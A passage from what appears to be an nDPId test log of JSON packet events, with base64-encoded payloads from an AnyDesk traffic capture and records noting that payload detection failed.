Tr\/ys2596M6tCSLTpKQ0pN3afT9HKptIuxTwgUpSuotqTd4SOHCFQnqddozyW98jIwdC\/xJp6svPvzo\/\/59J9XVD17hySHhc+dB0mwfQMhkwuRJYGBJZuf48PYhd3y9ELY4LoBoLtq+KhwTWDv934jDWR9\/evkH8Fe2XAnrtyJIKz5RMdEF4iiFnQpc4+51hEnVqQ6xVsH+0Ph8SAhaLPm53mSapuuetgY5xkEtPQ4+CeR8ApjPEQqvBuo2ZtpIAr8h8o0nXMRnJVbXb\/HnF6+TtpuPyyLuPGbrVbyWm0eqNPBSQl6UIFswoDwb8S0VRlhsuH9PQ73+EqdxbBVUi59P1dEd83JaOr09\/xtGSUZt0BQdov86AxldMfEFlpeNaQTeUv67+D\/+3KTELGqWYieVvKHLN1Dj77cBPQhNk+GbScQeXhrnvvMqMLV6Bkq2yhfzOCSE9U6deGyI5zL9Y0wW13u\/ujlHC1fqtsxdShrsZtFKYwCn4LyJWxd1C+jExU5G6yZsNf2zYtKuYDwG+ZEEiSShJ0oHWkeFFGeDnuM8UFO14HyUGbY2Iy8+yUeCwS\/WE2WUtfUxx+lXrRN+LliR3ySKBwiUy+1QsPcEKYQVZWHmsBrR315ghbCuw+9w\/3NGWnTmd5ILpVM8e+7xSf6FLmMJbNTAFJSyGrIlGAxEjbTm0rd82P5FGLmVAh9DIK2TWQ2URMNdpFNqHcChjmLcQKk2wtDFXWFfKTc9ay9BFMRWW\/kKmRj6luNcOczeghLWBI2tbZa7xOS0cTa9ID44vvusol91MPDKLqOu\/fbyOQjByvLkPDuoEqt0aLjQdoG14uOK3K3MxNw6LiI9JRJDVHRC99ZDxKEmxJteMCnl5FlvFuJnLr1d30GcjjPwnW6svqBX1xisJ2Qd8kJLSDg9Z33NRuGkxT3Yc91JCJOqZplFp1raYkQ6JbnOeOK5NxBCreF34NnK4R0fUqb5U7N258opbSlffwid4cMFoUDEiWivJd5HxPsmVN3+woayJHbenoet9WGqzub32uH2KcsYL12aThUM+EQTwXOpc3dedPI9GnhpZa1nSZsUoUQF2DzpsMLvZSSdzyr+sfHbHYu8Zn1rcaHCfJ4bTOo4944mcFRMG4+jaX9wVFx8uyahaMll7N2xKZM3pXlVVM0cXtxaupeMoc5xBhUYHE9Wa\/Xyw+Jj9uU5joc7WwAfAXiixzwVR6PqJldwV+za\/GJqfiq\/7nbzoNS6beseUp4AjYPQEVa\/z0TUBEuQJKaRbjZK8wEuYUjppi\/kPcjf7rgGbl1WyKZT8IzC\/uKilmiBezG5ua2+avQgtlnSXbxXSMX3ZbS7J91XOVxE1504O6Re9qUZWDWZllyybeorv2Neoj0Ja3u90bLCq5sVzrohrb1L6QE1qDgXAceaK+nhSXvWBL8tfrDyFlrmy7iNPh+FAMxxyl2KZeElM7I2FYEx49WPYzR5go8KKKgrOeqRi604926F4cCug9MkLIw4NUf+xU22CyHOS+ew0QhujUKDhqIN6iDh9qiqSdontvJrj63fqM+JQvRR8GUs\/UyMXyIJFN6vQGTybgxkHezWo24vlqDeS\/jR7tiYMZ+oqjqTBsVApMOSDkG072v9UGjgbbd3Q\/u0r5khYYQ2VwW02gXPKNuI6yQQ1GGFa7sLhMa1wUvQyLIOJ\/4Tw3jb0pis0qrriC4YCLXyvJNL40mkZFNAFscTEXtfGIM3kzRNacI3TPn1suuX8eXJ\/w84xmw5ZNwGLuL7TTm\/wnEJ3Qer5V3k2As0Op6WBb4DGo4fJkiM2MzrS6ENsUXNoQa8c7s4rV0W3umYHSgsDyhxclwcyEZmC9cpRV+Uud0z9B6dwyvSj5HARMP6imdosevUR2vZbREW\/LZoDsQAky1GGp8jjwwL1xV+qmmgYOJRgmvPfTBsspdx2Ro+IumHWIEjQVhzSfvuDdsLotNjedLbcu4rR9MZlDZPtjS7doDyiQJWHR14TG7SmKZsoCTKrQf71zE+zhqPwc9yEsn0PxvVpreYgaHD+yrfPeufl65eG9P\/iFqanZYmlstH4AQptmEyLxYA0U4UMo\/KrtwGOg4kTHqRHFUtTLECtPL3jtKfT3It2MpxPKLfcbwDFXBMIC07zrIn9+cjtiEQ3grsKGjtqPQYV6zUmqCO1loJwlQr+PbblgrzjXED8UlF2s5RB6SvF0nQo0DoABqGnnjGgTiJ1Ev\/ra5mhXi9xZvdJvWHMIOiiDnVlhkT\/1jTJTDI+XwSS509P3s32Bku8aDI1maWfTeJIgYGG9KfuSQyUR+Q2VTYV9x8oIxN5zcJHvamySduCTK23\/B1tJf1b0K\/mImdZRD9eRzm0LxAYccEkUKh4UKEBRllhNGyAChq1Foy4AculgA14oFcy7YUFeFsFekpCSgesvbvUZvHMaHXnnRsa93BV+8TM4M0hDxRyTmbAR9LWuY6VEz8xEfFun5FoEEuJ3Ah4CLITqjqwe\/+naQcW5P5U0oBhcTwmoandFhCsAxPTBIgaewWOl8E0mzDHYdwELaIZ+6cp6PXXHCmNr9XBUOdxTJI8VZ6x+Y91uJqcWzlqz5sSq5Ox9BWH5LD9FK5STvk40HjqRCUd\/olmsPGp5OiYKnojmcvZ1bGdLNlUfP3BBsnJbp1tEBfuUza68b7OuRWYlhwUr7zuGfxnognjto92wusIUNa5twcgOA4A+qhOMkL\/V\/\/eIjqUnt1SKJgE4lvlVHGrh0gL4d1QB2\/Zc\/Dlt4yJUcke5s8YWHqo9vF\/zR19bE5XMEhrT3YEYWS\/b0\/EijxM7ex5id52VVLwsNZkmIxvMtqJl4vCfXw4Wa\/s79SHhL9qH4tw11jEBRM0rd+IcMiXsKqitymAaCfLgPZI6Pwx4gwL5PyKS\/GWZQ4\/3nADqSEtGGClpMp34pu4jjNDu8CXyBv5FEpi5jf2lnMKUTH5sEu59G8p8JRYWSjW3gJYj0V\/JWztll79Osoadu+k5YfjbKWSwQEALRG\/R336jE7KRKvV5Lucd2keu5TXD8zFDv6VWSd9II\/\/llKL3DYLOnp4fmbLrx5Ht2VlaREWaZr0HwwtSF0IwOsswDOnVilLabZQwPIWkAy90dxXgG4wEScG5fMfl5PDboaGluBus3XIGr6GXJ\/T0XKbaouMCuZRVlcAl4Ygwc\/SSMcYfYleKdl037Fw6RBstdxN5TyrSv8oDmsVxkDzrdV+8xCdOOUKDW3IGrPEEI0bBNscCJG2MqYAojrh96VTcZi090XMgGRi2PCw+oUtIh3Zue4W787gDamXBVaFABcsUQLwHBZmbu\/5srinOKVUV3pEiSwUqs5ngSsArVXFQuLgU+Yot8t\/rmLHMFBhgkHBIDo3dZNBIeNmLoaOqY8VuEw+1xGI4WJrzLfro11laYGlsl\/fLqkoXQGNWo1nl60r\/3ZKjBKjrAJHpRBbPQHotbwPk3D3ty9WSjax+BSLwh+jJYeeWPCs2nnw+dgQsZIKGhS8B3s4bbfP4J1I1WVLSZ\/NGt+A\/oDj8CgWk9ExiR\/PkPbTo9\/BC3i7IScE+75v0+fIJrjA4zAZfsoqvpumVdnnvq6w+qZIpvoxrgYcqxAmcYf\/0v1N+NcFHIJAOO2YdVlYt\/\/xe06DxPOlGPEQ\/Uc8OjAYY2yf6LBDR7OGM0mVhnXBFmlRQk7VsPXfGUCrnvMNccNt8w4TUx67mipME1uNEmVsD+OR2GpMtJzfKdVciDCtv\/2WBI7Z8M6GDQiemwU74kx\/xbalGGv\/tCkGN4vG1fcpa2PV2vEm+BsbaMLmO00yYyhOApSfwub6RMxF9PHcZY2w5HlpiwQxoRpiDyHMfy2KwaEEvfFY5IxY4brx45pMSOGKaaE7o2G5vMRXSHou9un\/c7pPlF3pRdp\/IMGzng2OU4pR+0J4lusv+\/\/ZBjh8rfmaTvXvHGAXKNkhGg57PQsFXsQKJ0HKnx+jFz\/qJsIqatSlhdJh5O9b1WcrM\/J5RXSpqR2W3FcHJqT8vNgFHzmlZBIrdAmpykJkY9kyp\/nU6Vl01jOq2vohIaR9PKHkamJ8D\/TQn7V3D9rFxZUQhHq5\/yKVSO13kQ9raQwZ25LDomdlAel3zZlD0CU1VpekZlV3SSs4PxRrXae4k\/Hn8AhkmU97\/gQemF+ggLyCiSmpSX1bc+HFB1x9UQf9GG5bagKSxHJz2aDjURJjQWOrgfEw4j3dmWdm+yOQ4rp5upMZ\/ZR7DkwRX\/K488eWlg5ToyKSFDjYO0BKqHR5\/UysIq3Zr9e\/Y3c\/xFieD7nkLIGtUBehx8o6VfigJEM3bHTztf290Xm0n5oBiRXDenXA6SYbdbcP8tg8d91UCXxx7fYBJ9Jis39itaFgbK70nAzcHeBx33eEOy7Nm2iHc03DBTvsNYztWEyJy1CMng=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":209,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07823{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":742842,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdxFAAIAGAADAqAG7wKgBstOUG56PG6QJWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msU0NufYbo+aMgxa\/2ONRcFjf3R90sN0rocJ+2b3XK1JPqhKMtFLBloCY0Pdh5Wa7L4bdCNWLqV+XWv7jp\/cLlcXZ+wSfFq6H+1Ejoo+E5gsvOZxSkD\/6g8xWKRXNnDQYzgoulPqzTftUfB2z9vZuEVMAdpbmNzkx81JIshg7h4593k+0K9FLvDyYwfP\/Jdij6\/2VJPDu0C3vS4nZlJQrVj3nIy2pZieLUZ+J9MVXi8GxRYiQFWeOLUHaFN3eQBtwFGaB016zFVNBh9UIQ7F\/Vve77hm0CAJmRSy96gj8FH4gpA1\/9Fd4fDtGQZArIgkcsuAAzsBZYlJmLnk5zK+UqYxOUv3j0fmLGbZcxN8H8Fok4nAVcx8AnUkMBbnLdIo8ieGhkWQR6hUv7sV8kA1atsU6QJ9Rsq0o7pblQMsLDcJIlawsjKPvSAv2FJuZZUuDE4vGSjg3yuTCg3WhsES5XkJKJYHBqeul\/siA2r+R4mm5XzhLelcesodHbM3pcua\/aXVL3VYxQ\/d1lKlzMXvCGfEHr1J9heyDik0VetPvO7XWpJ1y3w3ehqQxLTgZWWWpfxz3tpjCQYxIlt1Xtp3GgT9qWB4drqINfJl32gJkGDyHnFv0LV\/rnVBZWY\/D7hNwF2o+nvl9o6TEQcITVVbXkq6FdNErOnarnAZ6l2dbFivtaeG\/WLWTyNaQjnJZhMhGmASB8GB9gx6lRHjY8tEP+hT7a1gOO0Jcry\/B3IlV6Bt8RXq\/CilUvjF3uo397ZOf9XDgfSIoqzOiWcNuLIRVbUbq9GU5RBcXSbvhAVeLgwAVkLYhFqFq8rAfUu0XsBWml+AgYOrPoDd8KV58KzJ3BNOYxe4KhdPvKgrDNRnmM53hJaqzcStQCICVk9bHIGpCsbEWaqby8K4LOqo5fkek9ybcmztpz1qtmYNnJPMXQSE2VSjb0C6vAhtwyQD0w7wSaP5qUVWfAquKcBti7A8SpMze+PWLvYNQa3lwVVHn\/\/YuD8sb8qssR4CLoJgJTGuBHzVmq1hldKiChwNHZhndOtouDXuleK43CorvzYAGgUHImXu69ZErAX4kpXmKtqL25wK9exrw9osuSxQnDQqPEH95+sVaSATet8K7gKE7oS\/zjAtxDLRFb2XXJvJ4oCvEoEMy3gAPeQrElpJEVE+VWlxt8n5TIZLacQPXbsPTtqHCl8thUsubaQUR4rlmZu40XBNS2B+tSt8gd0ldiWDQqmcHn2cZhrOs70gBwb7gU1tSYaDoIU9kiZBoxkFcl9IQuLNn5mMeJOKBSrnD0UtJGTjXse6PzIQmVCdZCt5o3DfU0Jny7PKioRfrObmzEd2QM+SSbGZ+YMfzRyTLmRczvqOOxutm37idhxlMSeKKZLlC61icBLksPkvR9aZQShX8UjjfmXZJF8OLthhZ85u++7Nqtb\/gURlklWb8IccibytD0RiYqJfCkvJd2vdE0qopf3BNOIqRvAQWPCSMpgsOQWlUdTevj4KbcBqxeVcQz6UjwJGErDXpKt96UhMn1D+QE\/IapwNEsTpNVq+fxWV3Wp4p5NpQ2g\/v0GF5DQNoJwWcY+KCnlXht22Nrkzqq68fakutDIYVnGtu\/IhkztgQXjw9RNf3CXhXwa1YHdZ6+nKb8hMmYTaWSV8TJWJFzq2ZWjMz9\/uFd8Gp8mNzvzHfQX4FdAQOrv03J5rLnjk6yt770e99e3p8usj1piTHLMEvBjkNTQ\/Fnj+8waGEcnvfw3PFL\/\/pH0\/lpN51qHRDGeoGL7OXAH5dK2O7b9YVi+7Wmk8muxw7qpRtsX1HFsPAZpEjBNioyRiBqm5rcZ\/BBh+NcTgc\/gus3+j09nsXhIdc2Bo9UR+d1Z82nJW7bdivbIGem7LS19m+P3wvO7thYpG37bWNIMPQDNYjgrMizwAugWHt\/uPzSanxT8VfWEGlZx0ZfCr3Nifap4IznKcU9fEhvVhQC8B8aPtq7WHbYJDcO7DOe7B2ieLjR4Ta7siouuQle+JrQyzDImXLvYmRT3cgc2WCZYHCqChQnhyHLkFGf7WCov8N18Iobe6LlOOmgeu5DyoA6DYg4cxT6oF6Ez8vBbvRDy\/DoObtOr21KCaOCz6\/bhLzRQlHrYs7TmJk0tkvW5Ytlzlbq6zPYrCsivFT2yh9b1mwEagALWDxSQ5HHofkTNXecwMjqPJf\/\/d8o87yKp+Kw9ZV8apkZGxU53Dc922C1T8hUyyNA6OvghmuS82SJwlLLK2RGWmMq\/EM76S8dZwjYNHjuTKwIB3fiqUHKDP8\/b\/jx8PE35PEIq3yRuXxg1lJ3P1qmkaW\/zWABr1Gtjy0kI90JiGV3duhFlgdcL3S6Oy\/vyDLuJx87h7g2Ufjssf9EhViMp3fBygrBp3TRHPvMJXv5kKw1EGDK4LCPmYds6TpKWiVCy0NhkUQhR6Lmt+d3M4Udk9ksmQ6zZ343ESoobFDOB\/7cMxueNIhEycpDh\/YcyMl7sBHw4\/K\/zeAp9FSfQur7sGi6doGq+bVEe2W+4z1j8x4I1c0NwpbWYg2FKrWjfxB5Si5g+qcZN86nb9VaNZ9q4ork\/wEbkp7O+PvYMnwCMvsPPreG3X5mp66dUmJipjvmTWoBc4Hr+8KGCG+MQP6o0Y11TAr9tbW2W+1jwd0BdXSRcTBlIUS+4onULQK99bxxvNppoxf2q\/CVQHAfjo3LwUwqup7xU\/3m0fiIVuGSq1VS9UnlObSNzZrHFvxl0tcIiBBfUPwfWk0qM5o\/LosDEs8f3xYHJw8RIKd5nq9PFEIb6h595Rz2tWBcyif5pxmiG48AfwjoSUIEor1RaY9FqyGuXRD08YeRGhyIte7Xxlvl6pV1v3QRSa61Rk7qSfg6u5gnPdkO++8oagbnf1\/1MLZdILWagp4FY1lS3C00Dp3+JGPh7fddEs+6P+nxADZY1FmsU020gYAS5qG07qkWfYRjKhOa0iCekup\/VxDrgCsH8ykbmXJkmd7PLnRlu1Mvy+vU+TZlmRjWwv43OzUzAMJmsO4zus7t9hpapJ1ptDS1xl5pxUekX0iYcbEhVT8\/7sItjYvTBXPK8knfNUNo+hVMWUYdU\/YYj\/jLLyctUshWWWt5TgbhS4w3k9aW+tnx98A7wp5iJ5bx0TxsR6zZNSt99b2r5PqZ2Srsc2wiByl1balKuedGkgxd5AFvxzIoqtVf6T0T5IQJPO8fIqYVwNiM2CubQUg\/30NcOij9qB+b552+q50zenFtvSySIj5YWcFnhy085cPJjyQ9TI5PrheJpbosP1zgAviijI3eUoqbbouilHuPTJAi3trF7aXSz7anARkop3xUtRzkQ2IcdbVXPBjA6zBoSQWQ279IOWY4ngxbsLnhD\/n37pfKFl5OrtxXzXoqOnJGcbISZrk8A8uYGcnZS7XKPG0r1p4XO9L07aMlkBk7fdFwX0639PR+\/AMwyEUaoC660a9E9sBNwFNLGhSxBG93J\/ncFfZjzhdxt3jsFRpvjveZugj1M3kJ9ueH4LJhYWiCHlGj1\/o74OHlaxEI0BBq8dGJPe7of03GJMIKqT+sTyj6JZkIlpPygJV8pRXTWcef+U5tvIEGQUB4EdWTlqBfrW54vVCjeZDHAaxqgVTfwJW8z5HV2xEgAPzjX8DlJawMhc+lKc20rSCCBzQMyc2AHhlZ\/2Lb8KDvesoZMVXzazOKZvKUxdXWaKmSSzxzR\/QDetAnn+KhKFhWb1uJW7\/FAt\/XbL8fvjUew8Ysuem4\/omO+oGkrTBvzlKKehQ0kdG6Sik4P5HCBWemIxFQqnmv7t6mFBq4WdH6bht90l52rmnS0tWPtwAqrR1GPrFJESr+9V03naxduGJLTbtHCdWki14uHNPEK4s4C+BV0i3TLZLNozLAzfLMaRuBe6PJN70RBDXRVlQ9o8gLvPyvnaA+0akwmVHdh2f+fOvuH8qEutr1swh6FCFf1Q3pHNCqmgoFCSKJPXx4cpmfTWT7ee6tvmodTn8B20pIOT\/gtcKLUay49R0zel4PMG3mT66W40hB\/4C5TmRHzsK4eRZHGQd8D8RQJcJdl\/FVDEs84N+HKnXknJ9tSUC+jVYBCE+OacVhInekn2oPRfOIhQ4Uo2TSCuVGVYPCG0tLbQqvXKv67Z+mBQ+1P7FdThi19KW2BBOYYpmYstnAwrV5vBRfmdcz+zUTpKWiIsatvDb25XJoBExigL46NfB+WuoSgaz2yjTAmfI1\/c8ly5pYBuk35c6e1k2w18Pq+IpKFDPNUpSwc8aP7HFMS4Xaa+noEhueyqrT3B4vVyGboUjGxOns5EGLuOnTMJd6uOE55YULepEizaHdVK4E7JbQJacscIpQwOkgi9y96zJFNGt95zq6yz2FdZMxElkz\/og3pvBRKmGVuR6hbPHUMWXvChxDG+NwZt4\/zBoYQ2nwon06ZsygCUyg6ChIbNeFCdMKKvzRTSHsZ0qxWWoXd5k4rtJrQWtpWS4p1v37ZZ5NkOLMS1ECrLB\/9mxgSahdKIeSL2lrTtAOTkPXTEonRzV0rBJVk2PcVpo9imukBlN3tmy0Dwf4spSa8UIpEtD6f1V8ef6RU1OL8of\/U5aSCweBFm3Sqx5Jl7IRNqWywkHggERLLuCN+Yk3JeAsbUsPJ7SQuRCLKSaMgXhJKgT\/D+JQqLGwhDMuyWHUID00H6qaMGkRDWrEa5s3AKpvxXaberrbaEt1MIery7pLpDw6bZmTj41AAge0xpUpzi20GGGEdus52TGwMVUwpISWcCBx4wImEde25H0i5d7xjqx3DSbD3DdBSEXx3j9MJm3ISbwMX7FTC28r57S\/EjUgWUtaeHwntmYDsolwVYxfwLh9k2iJMG3Jby2Kjh3jWjBoTxlPma34+hW6V3D5tb+mXnQdNDrrcIvLhg8iagahXD1UjN1THrPCazfHwbGbqaf4\/wE7uwcrBc8tC53zky9q2eud1E9lFFDO3Pz7iWT3szJUGURcr3pdShUv0pDm7qWzShNxiBGGShz9aW6CSfutQLHQAOxB0oHQshM9TXcWPXVpXpg4X1TcVeA31p0yQCPt6GWVB3lQlTNCqFZzs9Y4uiAyHX4xIOPgw3muE7qVZ8Em7hUaHEvrC2Fct5rW3APjuhaCBIAJqq6qd\/OqMwY7jH+6\/3NpLWhsLKi6mJlA3opvS8PoDJd9wGFBE4MxwOQIxu50GjkhkbgLNao4W88XP6\/LwM\/CmMJaf3c7IBXdvMgUFAKR33cwfdcteF9FHc9z+IYOkc\/Gl2DUlMjMWLD+efD65dt2K2INpjPjiApxy2OBQdUaBnbce8vt+8PsyaHr5Q6Mw91F\/JjVd8Og0rY177t9LxWC+Qokayf8Zq8tEFVG7j4vxM7d+5bysPULDNR5IxCbjEBmGswWNshZLgMHeP9PYamJenRHWFraVynW8unU5o5GJEtdhURjPhGRVdVWIUELX4pdMJf7c6DsdMvTEhXa5oZLNJ3DOpoWRKHUDv5qU6or5QFfV7epC3T0MV3znI+BgZxKDeeERr2yJI3BHrhv56lCVOBKAGM5B93LAvt+ScaNHqLudRMjdB+Dbuj3gsvjdmtqKluVzQpCRzFrxoCnYTXiyjRCAPT0E0Fx9X1mvNDmO7BqWHK1mw3FuSRyS81TbHSMq6wNJ7zR5aFVR7kfirZxwvkdx0Z954onU8L5kn\/W7FR9MFAI3trNH2vVK6s3ej5KX+Oe7tFDSJ3tKi\/mqlUE8khN954dpCB6jLUTQwYiWfiSFfBAyDByLSHpW+7OakF\/iEnohW61ESQlQeiygyte88CcLZ6QwyXXMUdznqA5ZBPpPXeIN2d1Uzo\/IZ6ZpC5DI4DYCcY0kr6qUjIrQMWkpIoI8sBgGpDclCrqqshyMRVe00ZRjoFtuet0fGs200DF54xJBr001i71kJmxVg2\/tMnHItQ8I7Mp8TVhm8WLjPCAkUkJh1mL0zwq3f3fpOkb3ilKmjHSHMbritkVV4ZaHDKrzbqKpNRTRtSZ3mXa+ONguM+H4jcUyrxgU2vizCSKsukvm7qzazeSgCZvqrVsbqG\/5Rjd7lZlREMvtiEeYjJcABSzaJ886jRlemd7UQU\/8u2uSr9pWjdcsg6hjwhe3GEuFptrY6iY3Aqh7q0iYyp+fDqluS9EqWbhkhINYHvgHFrKw2HrGCc9BdcJo0j+iCu02iufyHzksMJc\/PpFy0SaQ78xApBRx4h+1pkENMC1qEptveydk6F7pTwQSzIHNmXbrh59B\/9giF6gPCg6ypU3U9D\/J1xGfsk6LP9NP01ZrC4vdGhdYSFr++GxYW74pHcdZhkvtq39MRwa3yaYGoanofAOBInvQ4UyY1Vpin6V1WrYjlw3rqGexJvFdZDmqeqZGLUuj7D0HU4qGHsi2NWTTeNqdfmOFd5U1risucU9Bep33mwwSJQIGVps67c\/+8ZYAek3uE\/Az+vFIX5+j4meIGgz5ySl0ftmXZnuFflk7VwTXvxeMsJTcbdoqIJ6PZyASmCyRuy2JKa\/qAEyOur8OJ5coOvMSJym+zPUgt61H+9zXMPTOqydjMPbsxeF9smggx5Le9g02QaafChm631pw+cIim5L\/9QMK\/thJhmiiSZZ2+vlhgX2mWsv9AU4FS3g7Ds+hp0pW+kK004L6oq0fQCYtKgsz0P0t7kLvIZoCY1W\/Ab92+JE\/dTx2QH5JiI\/7nX4MoUwp\/yshDQCXsSmIeYvuTH+bbhzRFg75ePirRo\/P2FoPkZGUJB9o5G5\/CqIF+pMmYRCq6mfO5XrAII55KonfdFbL02LAwVZtQIO7egrNiHO\/R98+8NJKHQ6Xy5wLjztSuy9XIM52lnF0BlIsEIPXHZdJS7PmTOYbT266NQLZZOzVxWwgUB3gQjqSBRLQEL0+wsOrdF1WPzFeUNES278DSuuUOA70YvAi1A4hytt7uxrxbnrplJbtiiSdZ1WdKoxe63j\/A2scMYKlYvR9soGyiuVpEPE20jNG5SqQKiufVYXHFPDRaajPLXnJi8ZBgk\/tzQGIVhoIKRXYODAIPU4fGMikwp6\/KDW4WPjOt3RcbbrSGM1bbwYbAoj1iQn\/I\/YkEWhDh7\/8ftvD4BVwd7sJoI6Kjf0j5qC2yms1Uwr\/1F3i5Vi87GB0f79fx7cqea7wBwfbxIVhwcR9uc7LFv3OZ+0dzRuwYJHjIf1Hjbx8ttBcfSzoOKDrOyMMj+p1TjXvjihC+lVTG+xxHEtmJd67mjUHj1jtRfEVVCBXKwkpxLhef0nWyysKEvi99kvC\/nRoRoiTXjBSBismUJSZ+JBCSd\/0Gp6YvymxXA6EafJGJg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":213,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07813{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":216,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":743336,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdxVAAIAGAADAqAG7wKgBstOUG56PG7mFWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msU0UofUmzN0ciKp7h1juK4fFR4HWwRsBIFjoKuo0hAEPCUQ3A7A46Z2ALqS\/gWtir6TD5lduMtTv2Ef7RaL9n+BCi9S267SEhPSEAU3jtaGcoSc6hsIckdy7+y6UhaxvQyzzL7u\/apKJU1UyopuhdIHybHqMiQ667UdmzBtdj46hzI5WovPJCZxaeAi9Z30vsRywPDRg6JuKA\/FPsC4x8ozMU+oxc6z\/iUXb2mU1vZV4L1LzZGEFKz1TfBQigX1J1t3RWMXW2aXvyzmF9PJtvgCXtAKYtG7v+SQULHFo5iT1i5HWAXgpLq+eo5mKkrJDGJA8P7UwD5sbDhIgaMDjvCPeZrawB8mYorvogCI8WO9Ax1cS8QgodJmdUKyc0kwgnixDO8gQ0Zw7\/YrDtk3flB6kN\/PaFSVDo+2fxoDZKCxntQUfxQxqnBiMLSjvOmpqfNZv2MA1KsHPdTY3ra01qUhR6MB7gjgQDcyvd09P25K7ZdtfM9aMUxo1gPPVuwPpXJn8K7AnVP0zsCBphIllQYwSMX8gi2CVMz7GDdwNS0ZGOQB2Qv9GS\/UZHiaYgjsdCAGrOB2cCRjNp0HMyHh+ioywmpZrbj8dDdfA8q7DUtsERbu8o+t1dc460k3EvktbUUCiAv4l0vzVz34BU1d0ilOOjKokcrxgJIQm7mqVvDkv0+uNO77hocz6zHwdrm526+AjUozDe2CaEs5D1lsTP28vhpFbp8NbioQ2MM3BPRpdqfYkSJVH\/1gQoAteIN1L+fwh0aK1qPUQ\/oNnoUFK9efDQcsKW8mgoxPc7gxp9mOxfSD+eIupfgEsK1V8zf\/f7zNoah83qxOAU+dJCMAYd0rNSAjPyfuEEjtjbv55d8lGGF0Wagn+qL3rXK+j3+Q1F7IdAJmbaTMywqmB8OKxIoAepS\/m+EyFdrs1wwMViON3MKsEuNxPM0kndGhJuuTidLWOsI\/3HqdYMQWq3tgRPAIsJlc9LCBisjIDHg9GqbCwbsChL0nv5Ah2TqFM1XmUJGeSAg55WZMVGLLA4unDwoA1F2GxwSvKZK8hK+dmmSi8LgIJyK+D+Jn999XXN\/5zqelcR22ISb7P1ackQD5ZtwtxOLDgtaBpADitBl72qkBf1tNe1UrkKh0eYBKqGEoTTtukyU44mmFEOvqL\/LDdTJXZbZoEWhkETZwvrJflrB02WRwFukXREE9waJFZXIG\/lYvRXKzbeTkAlYeANhDVKdnuVCmuDzb1rmkX9YYacptbK2DzXs8Q9tSfyOTApf5GD4mQ6aTBXGJNeQvRgIuWE7o5\/qAipDubnJGOmyjcI3yn1WF9tB5CJEa23DPFbE\/tAzefEH6RjHP1qUmKRNZmU4P+KxXTjNBLyzbo6k9rRuwiHLig\/pkQ5H\/A2BsbxrxVxKbfCEGAFa5OosrJ35PmVTSxMdR8Dqa1OODcOBh2NnhVVKBbNP4E8RQAdtIj7mXIHxkCv8OI3liT76I12LJbSRqFnpfpLGTtM6qhhc8yS5VEfyLqDxAE4UvVKDBY23vQmmWh0yRXSCcs95NHmguDzfA5FCnJXy3PWFCsRJloqs5ECdRcS7UMEjMRG3r0l6LSlnhntNv1Zi\/BZW18KiNIGhM1ax3w\/7+bwE\/E71qchnmK14u6OWC\/iMEVfDvgwvWRlTAEeC6Z2kmGczaRkkb\/KADjFzEIHrUA91l2emaJ6mFooPZ0F7eUeP93nEHiKdS4d88SaM+KQiFtUaxOQFjFyHjy2t27jkghFtC2\/HuW4bpfHuoyCXhu5aEWh3nIa2GCyO0URoJ2a0hKeNl6cnoCUF2DuVdXl71y5W2esGwei3dZ9IZllpfud9FfHPyGgf6rPAOBl\/TGMoWQ0\/mCbuAwXYydGEb+aU\/YEKa0gbjYn8\/ZG83rqhatRIQRlQ3EbqV5UadgTPDTGd8toOUOhEhsjLVTjY1O4mMVRBTsjl8Vbsc\/Fl\/1SoW9jPVQOkkmKqC8JgSeqaGIai8tEj\/I5j21k7nwRaCBxMFTYnPLZ8t+AzJNOO3gTfNcU5G8UuCnauT6qCSFavmGWkeSTuuMy6F3W\/J0R7mJuUrhAZNWanjHje88hX6KMfb8aNcQ9q50w0m1DhpJCKU7SHFXyzFdz0f\/i3pVNEI7cBzqKImceabTr7DSfM6KgTYPJ4eZLkmkcc4ZNt2pn8W6XWDEQMIl+IY+nJliAjMYAzRpeLZiXZwv\/Na9UOPOnjnCNiTBBT2pHCrDeuLJpj1AQf1LBb\/nhTkZMCvKYfvR+5jseV6kVtsCRwNz1u1JiGSD9mUFTZwPlzEClL6ZZxx3sMMux0UuspkJBOakC91sUuFUq02ToJF6nwf\/uhlDQznh0Zp8buI3gunw2m49C2NDtTT6g9oAMYPigBzf\/0pGRloc6A5yGmITVbOpr7LFrVN0g3swvATUlmoyeac4N7yOxFqzEupr73Ib1ZWKzVCpjJKQGFKD4L4jDj+vWJZBMw6AjbOZYCLRzwxmkdhOmIGAUcf4+kMH97yPq2a0zGuqD+8R87iFJJYaStQglUIM7kyTgDjo0fNOpQVLlvIw9zylnuc+1AFdbtmGDtyI4BMnKe0evq6Sdv47+16qh40A3efMGBDPNlt8Bs+RN9iJOmk8bTn57ikW1J9yxPtYB\/StLe4GBfn+XbZUkhyS90f13Hx3\/m2+p4UN\/rQ1YKGgREJ90597xBXugtiHQzC8RyJrx9zNjv0l6cYBcwSml+y6Rp7PgvF39R9P992A7M7MOx5QUpMwntbtyPuKL4QM10IlEZV7sTVJT0zuBAuMxA7QRybLntHicKw+cHgBa+1QYVo674MI1DjgZAZHtvkX7Rwf1RTd9GyQVHJam06WNdg0VLEuw9HXMLZOqwUg9wy65ADTTjLv0koVFDaUyZQlqrL5Pw4oJ+3TXSzkeRLlYh3rDvlZ02+oVwkXswH57NusfkUFXUhzp4+k\/QcZ4Dd9ax2KSqShbQ6jT36qjgPKwUC\/SMIchyop3KfgcOtNUD7RWzyuIQBHVRVwNHk+1mWGYEbDRlGLsXHDUpna6AnSi+iV04ngBKig0